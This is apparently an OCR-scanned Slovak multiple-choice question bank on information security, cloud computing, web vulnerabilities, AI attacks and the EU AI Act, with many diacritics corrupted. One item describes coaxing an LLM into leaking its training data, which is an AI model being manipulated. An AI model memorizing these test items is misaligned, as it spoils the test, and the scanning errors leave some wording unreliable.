a. Risk apetit je miera rizika, ktort je subjekt ochotny prijat. Risk tolerancia je
miera rizika, ktort je subjekt ochotny zvladnut.

b. Risk tolerancia je miera rizika, ktort je subjekt ochotny prijat. Risk apetit je
miera rizika, ktort je subjekt ochotny zvladnut.

c. Nie je medzi nimi rozdiel.

Akym spdsobom sa mdze organizacia vyhnut riziku?

a. Neuvedie riziko v katalogu rizik.

b. Zataji riziko pred auditorom.

c. Nebude pouzivat aplikaciu, ktord je rizikova.
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Komu by mala organizacia reportovat rizika?
a. vykonnému manazmentu organizdacie

b. verejnosti

c. Reportovanie nie je vhodné robit, nakolko citlivé informacie v reporte
predstavuja bezpecnostné riziko.

Audit informacnej bezpecnosti je prostriedkom na:

a. identifikaciu rizik

b. oSetrenie rizik

c. akceptaciu rizik

Preco by mala mat organizacia kataldg aktiv?

a. Kataldg aktiv nie je potrebny, postacuje register rizik.

b. Katalog aktiv je potrebny voli naskalovaniu poctu zamestnancov internej
bezpecnosti.

c. Je potrebné vediet, ¢o je cenné pre organizaciu, aby bolo nasledne mozné
identifikovat rizika.

Ktora z moznosti nizsie je vlastnostou model cloudu?

a. Vypoctové zdroje je mozné poskytnut az s odstupom niekolkych dni.

b. Zdroje st poskytnuté s minimalnym tsilim na manazment.

c. Zdroje su dedikované pre zakaznika.

Co je to public cloud?

a. Architekttra cloudovej aplikacie, kedy st vSetky komponenty na
verejnych IP adresach.

b. Clodova sluzba, ktora je poskytovana vSetkym zakaznikom — firemnym
zakaznikom aj fyzickym osobam.

c. Deployment model, pri ktorom st sluzby alebo infrastruktara
poskytované verejne.

Servisnym modelom je:

a. model alebo aj architekttra IT sluzieb v organizacii

b. skladba/zoznam Standardizovanych sluzieb

c. idedlny model IT sluZzieb, ku ktorému by sa malo IT prostredie priblizovat

Aké servisné modely cloud sluzieb rozlisujeme?

a. SaaS/PaaS/laaS

b. SaaS/RaaS/IaaS

c. SaaS/PaaS/VMaa$S

Medzi cloud deployment modely nepatri:

a. Hybrid cloud

b. Public cloud

c. Government cloud
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Ktora z nasledovnych sluzieb je SaaS?
a. Amazon web services

b. Sluzby datového centra

c. Office365

Ktora z nasledovnych moZnosti nie je sucastou infrastruktdrno-
technologického stacku?

a. Application
b. Middleware

c. Sandbox

Pouzivanie cloudu pomaha organizacidm s:

a. optimalizaciou vyuzivania zdrojov

b. optimalizaciou spotreby elektrickej energie

c. znizovanim spolahlivosti vyuzivania IT zdrojov
Medzi charakteristiky cloudu nepatri:

a. metering

b. on-demand

c. security by default

Ktoré cloudové sluzby nie st poskytované formou Standardizovanych
virtudlnych komponentov, ktoré je mozné vzajomne skladat ako kocky lega?

a. SaaS

b. PaaS

c. laaS

Co je negativum cloudu?

a. neschopnost opustit Cloud sluzbu

b. flexibilné pouzivanie kapacity a vykonu

c. platba len za spotrebované sluzby

Co znamena model zdielanej zodpovednosti?

a. Poskytovatel aj odoberatel cloudovej sluzby nest ist mieru
zodpovednosti za bezpecénost cloudovej sluzby.

b. Poskytovatel aj odoberatel cloudovej sluzby zdielaju register rizik.

c. Poskytovatel aj odoberatel cloudovej sluzby zdielaju informacie
0 bezpecnostnych hrozbach.

V ramci zdielanej zodpovednosti sa hranica zodpovednosti postiva smerom
k jednej alebo druhej ticastnickej strane v zavislosti od:

a. typu deployment modelu
b. typu servisného modelu

c. povahy rizika
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Pre ktory servisny model cloud sluzieb plati, Ze moznost ovplyvnit bezpecnost
sluzby odberatelom sluzby je mala?

a. laaS
b. PaaS

c. SaaS

Ktora z nasledujticich noriem je relevantna k bezpecnosti cloudovej sluzby:
a. ISO 9001

b. ISO 27018

c. ISO 50001

Ktoré z uvedenych moznosti je zakladnou bezpecnostnou poziadavkou?

a. pristup k forenznym artefaktom cloudovej sluzby

b. Cloud umoznuje nekontrolovatelny pristup k vypublikovanym datam
a sluzbam.

c. Je nasadené vhodné a dostatocné oddelenie (segregacia) dat roznych
odberatelov cloud sluZzieb.

Aky je vztah klasifikacie dat a bezpecnostnych opatreni v cloude?

a. Cim vys$ia tiroven citlivosti dat, tym niZ$ie opatrenia je potrebné
aplikovat.

b. Cim vy$Sia troveri citlivosti dt, tym vyssie opatrenia je potrebné
aplikovat.

c. Cim niz8ia Groven citlivosti dat, tym vy$sie opatrenia je potrebné
aplikovat.

CASB je rieSenie, ktoré:

a. umoznuje monitorovat sposob pouzivania Cloud sluzieb a vynucovat
uplatiiovanie bezpecnostnych pravidiel;

b. umoznuje pridelovat bezpecny pristup ku cloudovym sluzbam;

c. umoznuje pristup ku bezpecnostnym nastaveniam Cloudovych sluzieb.

RieSenie, ktoré umoznuje detegovat nespravne konfiguracie Cloudovych
sluzieb sa nazyva:

a. CASB
b. CSPM

c. CSA Star
Co je to exit plan?
a. plan odchodu organizacie od poskytovatela cloudovej sluzby

b. plan odchodu organizacie z trhu

c. plan odchodu organizacie z internetu
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Aky je vztah medzi CWE a CVE?

a. CWE nehovori o konkrétnej zranitelnosti, ale type zranitelnosti vo
vSeobecnosti.

b. CVE nehovori o konkrétnej zranitelnosti, ale type zranitelnosti vo
vSeobecnosti.

c. Nie je medzi nimi rozdiel.

Preco je nevyhnutné pred realizaciou tuto¢nych aktivit stihlas vlastnika
informac¢ného systému?

a. Bez stihlasu vlastnika moze byt problém s konektivitou k informac¢nému
systému.
b. Bez stihlasu vlastnika nie st k dispozicii testovacie konta.

c. Bez stthlasu vlastnika moze ist o nelegalne konanie.

Na posielanie dat od klienta na server mozeme vyuzit http request:
a. GET

b. POST

c. DELETE

Ktord z uvedenych moznosti nie je spdsobom riadenia pristupu:
a. RBAC

b. ABAC

c. ACAB

Pouzivatel vytvoril adresar reports a nastavil nan pristup na citanie celej
organizacii. Nasledne vytvoril adresar Reports\Management, ponechal
dedicnost a nastavil explicitne pristup na c¢itanie a zapis pre skupinu
“Management”. Aky typ problému s pravami vznikol?

a. nekonzistentne pridelené pristupové prava

b. chybne pridelené zdedené pristupové prava

c. chybne zvoleny sposob riadenia pristupu
Sekvencie ../ (dot-dot-slash) sa vyuzivaja v titoku na:
a. Path traversal

b. CSRF

c. Nekonzistentne pridelené pristupové prava
Preco je hardkodovany Sifrovaci kI'i¢ problémom?

s 7 v

a. Utoénik vie ziskat kIi¢ z komunikéacie.
b. Utoénik vie zlomit kIa& brute-force titokom.

c. Utocnik vie ziskat klIu¢ reverznym inzinierstvom.
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Aky je rozdiel medzi solou (salt) a korenim (pepper)?

a. Sol a korenie majui rdzny spdsob uloZenia, aby nedoslo k ich prezradeniu
jednym typom ttoku, napr. SQLA.

b. Sol a korenie majt r6znu entropiu, aby sa stazilo ato¢nikovi vytvorenie
rainbow tables.

c. Sol a korenie majt identickt ilohu a developer by mal zvolif prave jednu
z nich na ochranu voci rainbow tables.

Aky je rozdiel medzi HTML injection a XSS?

a. HTML injection vklada HTML kéd a XSS vklada JavaScript kod.

b. HTML injection vklada HTML kéd a XSS vklada PHP kod.

¢. HTML injection vklada HTML koéd a XSS vklada SQL kod.

Aky postranny kanal vyuziva blind SQL injection?

a. spotreba elektrickej energie

b. cas

c. elektromagnetické vyzarovanie

Co je “security by obscurity”?

a. dizajnovy vzor pre bezpecnu aplikaciu

b. dizajnovy vzor pre deploy aplikacie v cloude

c. dizajnovy “pristup”, ktory sa spolieha na utajenie samotného dizajnu ako
hlavny bezpec¢nostny mechanizmus

Prikladom chyby v biznis logike je:

a. moznost nastavit vlastna http hlavicku klienta

b. moZnost nastavit si vySku zlavy na 100%

c. moznost vkladat JavaScript do komentarov

Chyby v dizajne m6zeme odhalit pomocou:

a. SAST nastroja

b. Threat modelingu

c. Dependency checker nastroja

Najlepsi sposob pre ukladanie prihlasovacich tidajov (credentials) spominany

v ucebnici je:

a. uloZenie v konfigura¢nom stbore

b. uloZenie v premennej prostredia

c. uloZenie v secret vaulte

Co je clickjacking?

a. injectovanie klikov mysi prostrednictvom JavaScriptu

b. odchytenie klikov mysi a zadaného vstupu prostrednictvom
transparentného prekrytia webovej stranky beziacej v iframe

c. generovanie entropie Sifrovacieho kltica z pohybov a klikov mys$i
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Ktora HTTP hlavicka vie zabranit spusteniu JavaScript kédu zo serveru

utocnika?

a. X-Frame-Options

b. Content-Security-Policy

c. Permissions-Policy

Co je SBOM?

a. zoznam vsetkych komponentov, z ktorych sa sklada softvér

b. zoznam vsetkych zranitelnosti pritomnych v softvéri

c. zoznam vSetkych funkcii, ktoré softvér vyuziva z kniznice

Credentials stuffing je:

a. skusanie vsetkych moznych kombinacii znakov ako prihlasovacieho hesla

b. sktiSanie slov zo slovnika ako prihlasovacieho hesla

c. sktisanie existujtcich hesiel leaknutych z informac¢ného systému 1 na
informa¢nom systéme 2

Naco sluzi atribut integrity?

a. na overenie podpisu binarnej aplikacie v OS Windows

b. na overenie integrity JavaScript suboru includovaného do HTML stranky
cez script src tag

c. na overenie integrity balicka Java aplikacie

Ktoré informadcie je vhodné zapisovat do logov?

a. hesla

b. ¢isla kreditnych kariet

c. IP adresu klienta

Deserializacia dat je:

a. zmena workflowu aplikacie zo sériového na paralelny

b. proces nacitania objektu z pevného disku do pamite

c. modifikdcia dat po ich prijati cez sériovy port

Aky atribuit logov nartsa log injection?

a. dovernost

b. integrita

c. dostupnost

SSREF vznika:

a. pokial webovy server vytvori request na URL na zaklade pouzivatelskych
dat;

b. pokial klient vytvori request na URL na zaklade serverovych dat;

c. pokial webovy server vytvori request na URL na zaklade middleware dat
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Inteligenciu moZeme charakterizovat:
a. binarne, kontinualne alebo multidimenzionalne

b. bindrne, nebinarne alebo spektralne

c. diskrétne, kontinualne alebo mutliverzalne
Weak Al je:
a. uvedomeld Al

b. vSeobecnd Al

c. Al natrénovana na rieSenie konkrétnych tloh
Aky je rozdiel medzi symbolickou a subsymbolickou AI?

a. Symbolickd Al sa snazi emulovat ¢innost mozgu na trovni neurénov,
subsymbolicka Al sa snazi emulovat procesy myslenia.

b. Symbolicka Al sa snazi emulovat procesy myslenia, subsymbolicka Al sa

snazi emulovat ¢innost mozgu na tirovni neurdnov.

c. Symbolicka Al sa snazi emulovat ¢innost mozgu na tirovni neurénov,

subsymbolicka Al sa snazi emulovat ¢innost mozgu na trovni nervovych

drah.
Co je perceptron?
a. objekt simulujuci spracovanie informdcie v neuréne
b. senzor zodpovedny za vnimanie (perception) Al
c. objekt emulujtci strong Al
Co je to strojové ucenie:
a. nahradenie ucitelov pocitacovym systémom
b. automatické ucenie sa Al systému z existujucich dat
c. supervizovany tréning Al systému
Co je to hlboka neurénova siet?
a. Neuronova siet, ktora nema skryta vrstvu.

b. Neurdnova siet, ktord ma prave jednu skryta vrstvu.

c. Neurdnova siet, ktord ma viac nez jednu skryta vrstvu.

Aké typy strojového ucenia pozname?
a. strojové ucenie s ucitelom

b. strojové ucenie s trestami

c. strojové ucenie s neurénovou sietou
Co znamena XAI?
a. Exploitable Al

b. Explanable Al

c. Exclusive Al
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PreloZenie obrazka vygenerovanym sumom, ktory zmeni klasifikaciu obrazka
umelou inteligenciou je prikladom:

a. nespravne zvolenej, ¢i nekvalitnej mnoziny trénovacich dat a predsudkov
b. efektu dlhého chvosta
c. klamania hlbokych sieti

Data vygenerované s ciefom oklamat neurénovu siet nazyvame:
a. Deep fake data
b. Al attack data

c. Adversarial examples

Utok, v ktorom spravnymi otdzkami prinatime LLM postupne vyzradit
dévernti mnozinu trénovacich dat, je akym typom ttoku?

a. Confidentiality attack

b. Evasion attack

c. Poisoning attack

Princip human-centered and beneficial AI v sebe neobsahuje:

a. zahrnat kazdu [udsku bytost a nikoho nediskriminovat;

b. zamerat sa na a preferovat individualne potreby jednotlivca na tikor celej
spolocnosti;

c. vyznacovat sa starostlivostou o nas ,,spolo¢ny a zdielany domov”.

Doveryhodné systémy umelej inteligencie st:

a. legalne (lawful)

b. zodpovedné (responsible)

c. spolahlivé (reliable)

Medzi etické poziadavky na umeld inteligenciu patri:

a. ochrana dovernosti, integrity a dostupnosti dat pouZzitych na trénovanie
umelej inteligencie

b. ochrana vstupu voci zlomyselnym dotazom (malicious queries)

c. ochrana slobody, ddstojnosti a bezpecia kazdej [udskej osoby i celej
spoloc¢nosti

Ktora best practice je nutnou podmienkou rozvoja Al:

a. “Security by design” a “privacy by design”

b. “Ethics by design” a “regulation by design”

c. “Least privilege” a “need to know”

Algokracia je:

a. vlada (s pomocou) algoritmov

b. algoritmicka interakcia

c. algoritmicka demokracia



96. Ktoré systémy pohanané Al musia byt zakazané?
a. Systémy v ramci bankovych procesov

b. LAW

c. Algokratické systémy
97.  Regulécii umelej inteligencie sa v EU venuje:
a. Al Act
b. NIS2
c. DSA
98. Zakon o umelej inteligencii vyzaduje:
a. pomerne tzku definiciu Al
b. rozsirenu teritoridlnu pdsobnost
c. nizke sankcie za porusenie zakona
99. Medzi zakazané systémy Al podla zakona o umelej inteligencii patri:
a. biometricka identifikacia
b. biometricka identifikacia v redlnom case na verejnych priestranstvach
organmi Statnej moci
c. reklama s vynimkou podprahové techniky ovplyvrujtice spravanie
jednotlivcov
100. Medzi vyznamné povinnosti poskytovatelov systémov Al v zakone o umelej
inteligencii nepatri:
a. vytvaranie internych zaznamov
b. systém riadenia kvality

c. vykonanie penetra¢nych testov
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Spravne odpovede testov
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